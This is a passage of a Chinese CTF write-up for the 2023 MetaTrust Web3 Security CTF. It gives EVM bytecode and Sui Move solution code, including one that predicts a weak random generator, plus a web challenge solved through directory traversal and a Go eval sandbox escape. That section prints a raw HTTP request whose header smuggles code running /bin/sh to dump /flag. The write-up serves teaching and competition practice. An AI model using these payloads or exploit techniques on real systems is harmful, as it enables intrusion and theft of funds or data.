最后就是我们需要一个方法来部署这个字节码:
contract Deployer{
function deploy() public returns(address){
bytes memory x = hex"6101016111011B156101016111011B55610101611181F3";
return address(new OurBytecode(x));
}
}
contract OurBytecode{
constructor(bytes memory code){assembly{return (add(code, 0x20), mload(code))}}
}
解题
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Script.sol";
import "./ByteDance.sol";
contract attacker is Script {
function run() public {
uint256 deployerPrivateKey = vm.envUint("privatekey");
vm.startBroadcast(deployerPrivateKey);
Deployer deployer = new Deployer();
address addr = deployer.deploy();
ByteDance level = ByteDance(0xA3c3cb2FC91412ff3B18C2a795AeC4b816f9bCD2);
level.checkCode(address(addr));
vm.stopBroadcast();
}
}
contract Deployer{
function deploy() public returns(address){
bytes memory x = hex"6101016111011B156101016111011B55610101611181F3";
return address(new OurBytecode(x));
}
}
contract OurBytecode{
constructor(bytes memory code){
assembly{
return (add(code, 0x20), mload(code))
}
}
}
Web gangster
通过⽬录扫描得到/wwwlog,识别为nginx 配置⽂件
观察wwwlog找到配置错误导致的⽬录穿越,获取a.py以及main.go源码
利⽤gin和flask对http头解析差异绕过对http头abc的限制, 最后通过golang中程序引用goeval中的eval库导致沙箱逃逸
GET /sadfh9obdfe1 HTTP/1.1
Host: 30.0.93.202:64081 Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,imag e/avif,image/webp,image/apng,*/*;q=0.8,application/signedexchange;v=b3;q=0.7
abc:
abc:os/exec"%0a"fmt")%0afunc%09init() {%0acmd%09:=exec.Command("/bin/sh","c","cat${IFS}/flag>/var/www/html/1.txt")%0ares,err%09:=%09 cmd.CombinedOutput()%0afmt.Println(string(res))%0afmt.Prin tln(err)%0a}%0aconst(%0aMessage="fmt Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
Hello World
这道题只需要猜数字即可,宇宙的答案42
module solution::hello_world_solution {
use challenge::hello_world;
use sui::hash;
public entry fun solve(status: &mut hello_world::Status) {
/* Please add your solution here */
let input = b"42";
hello_world::answer_to_life(status, input);
}
}
Friendly Fire
与上一道题目类似, 只需要对应flag的判断条件传入secret:
https://github.com/MetaTrustLabs/ctf/blob/master/friendlyFire/framework/chall/sources/friendly_fire.move#L38
module solution::friendly_fire_solution {
use sui::tx_context::TxContext;
use challenge::friendly_fire;
public entry fun solve(status: &mut friendly_fire::Status, ctx: &mut TxContext) {
/* Please add your solution here */
let input = std::string::utf8(b"0x31337690420");
friendly_fire::prestige(status, input, ctx);
}
}
McChicken
分析
这道题主要考察Sui Move 语法, 目标是使构建的 contents
与order 内容一致:
assert!( bcs::to_bytes(&contents) == order.order, ERR_INCORRECT_ORDER);
Order的内容我们可以从 framework/src/main.rs
读取:
-
Order1: https://github.com/MetaTrustLabs/ctf/blob/master/McChicken/framework/src/main.rs#L87-L101 -
Order2: https://github.com/MetaTrustLabs/ctf/blob/master/McChicken/framework/src/main.rs#L118-L140 上面的数据遵循little-endian, 也就是说[0x78, 0x00] => 0x78 => 120, 对应到源码就是Bun。按照这个规律去decode 菜单即可。
题解
module solution::mc_chicken_solution {
// [*] Import dependencies
use sui::tx_context::TxContext;
use challenge::mc_chicken;
struct Order1Bag has store, drop {
bun: mc_chicken::Bun,
mayo: mc_chicken::Mayo,
lettuce: mc_chicken::Lettuce,
chicken_schnitzel: mc_chicken::ChickenSchnitzel,
cheese: mc_chicken::Cheese,
bun2: mc_chicken::Bun,
}
struct Order2Bag has store, drop {
bun: mc_chicken::Bun,
cheese: mc_chicken::Cheese,
cheese2: mc_chicken::Cheese,
chicken_schnitzel: mc_chicken::ChickenSchnitzel,
cheese3: mc_chicken::Cheese,
chicken_schnitzel2: mc_chicken::ChickenSchnitzel,
cheese4: mc_chicken::Cheese,
chicken_schnitzel3: mc_chicken::ChickenSchnitzel,
cheese5: mc_chicken::Cheese,
cheese6: mc_chicken::Cheese,
bun2: mc_chicken::Bun,
}
// [*] Public functions
public fun solve( chef: &mut mc_chicken::ChefCapability, order1: &mut mc_chicken::Order, order2: &mut mc_chicken::Order, ctx: &mut TxContext) {
let contents1 = Order1Bag {
bun: mc_chicken::get_bun(chef),
mayo: mc_chicken::get_mayo(chef),
lettuce: mc_chicken::get_lettuce(chef),
chicken_schnitzel: mc_chicken::get_chicken_schnitzel(chef),
cheese: mc_chicken::get_cheese(chef),
bun2: mc_chicken::get_bun(chef),
};
let contents2 = Order2Bag {
bun: mc_chicken::get_bun(chef),
cheese: mc_chicken::get_cheese(chef),
cheese2: mc_chicken::get_cheese(chef),
chicken_schnitzel: mc_chicken::get_chicken_schnitzel(chef),
cheese3: mc_chicken::get_cheese(chef),
chicken_schnitzel2: mc_chicken::get_chicken_schnitzel(chef),
cheese4: mc_chicken::get_cheese(chef),
chicken_schnitzel3: mc_chicken::get_chicken_schnitzel(chef),
cheese5: mc_chicken::get_cheese(chef),
cheese6: mc_chicken::get_cheese(chef),
bun2: mc_chicken::get_bun(chef),
};
mc_chicken::deliver_order(chef, order1, contents1, ctx);
mc_chicken::deliver_order(chef, order2, contents2, ctx);
}
}
Vvault
分析
目标: 猜中12次
if (game.combo == 12) {
game.solved = true;
}
这道题和之前Move CTF 的一道题比较类似, 同样是准备一个mock random generator与真正的random generator 保持一致, 这样我们就可以和对手保持一致了。主要流程如下:
struct Game has key, store {
id: UID,
stake: Coin<SUI>,
combo: u8,
fee: u8,
player: address,
author: address,
randomness: Random,
solved : bool,
}
-
获取真实的seed, 和上一题类似不过这次我们要decode Game struct, 这里依旧遵循little-endian, 也就是说seed(原本为u8)的值其实存储在头部, 例如[15,0,0,0,0,0,0,0]。 根据Game结构,seed 存储在倒数第9个(1+7+1)u8 -
构建mock generator, 调用 play_game
-
需要注意的是 Coin<SUI>
是不能drop的, 需要额外再跑一次把balance用完
题解
module solution::coin_flip_solution {
// [*] Import dependencies
use sui::tx_context::{TxContext, Self};
use challenge::coin_flip;
use sui::coin::{Self, Coin};
use sui::sui::SUI;
use std::bcs;
use std::vector;
// mock random generator
struct Random has drop, store, copy {
seed: u64
}
fun new_generator(seed: u64): Random {
Random { seed }
}
fun generate_rand(r: &mut Random): u64 {
r.seed = ((((9223372036854775783u128 * ((r.seed as u128)) + 999983) >> 1) & 0x0000000000000000ffffffffffffffff) as u64);
r.seed
}
// [*] Public functions
public entry fun solve( game: &mut coin_flip::Game, balance: Coin<SUI>, ctx: &mut TxContext) : u8 {
let bytes: vector<u8> = bcs::to_bytes(game);
let secret = *vector::borrow(&bytes, vector::length(&bytes) - 9);
let r = new_generator((secret as u64));
let round = 0;
let fee = coin::split(&mut balance, 10, ctx);
coin_flip::start_game(game, fee, ctx);
while (round < 11) {
let guess = generate_rand(&mut r) % 2;
round = round + 1;
coin_flip::play_game(game, (guess as u8), coin::split(&mut balance, 10, ctx), ctx);
};
let guess = generate_rand(&mut r) % 2;
coin_flip::play_game(game, (guess as u8), balance, ctx);
secret
}
}
– END –
原文始发于微信公众号(ChaMd5安全团队):2023 MetaTrust Web3 Security CTF writeup by Venom